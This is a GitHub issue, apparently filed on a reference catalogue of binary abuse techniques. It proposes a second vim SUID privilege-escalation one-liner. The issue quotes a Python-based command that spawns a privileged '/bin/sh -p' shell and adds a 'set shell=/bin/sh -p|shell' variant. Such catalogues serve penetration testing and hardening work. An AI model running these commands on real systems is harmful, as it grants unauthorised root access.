Skip to content

Additional vim SUID exploitation option? #456

@0xarnout

Description

@0xarnout

Hi!

The section about SUID with only mentoins this option:

./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

This can be added:

./vim -c ':set shell=/bin/sh\ -p|shell'

benefit is that this doesn't require python support.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions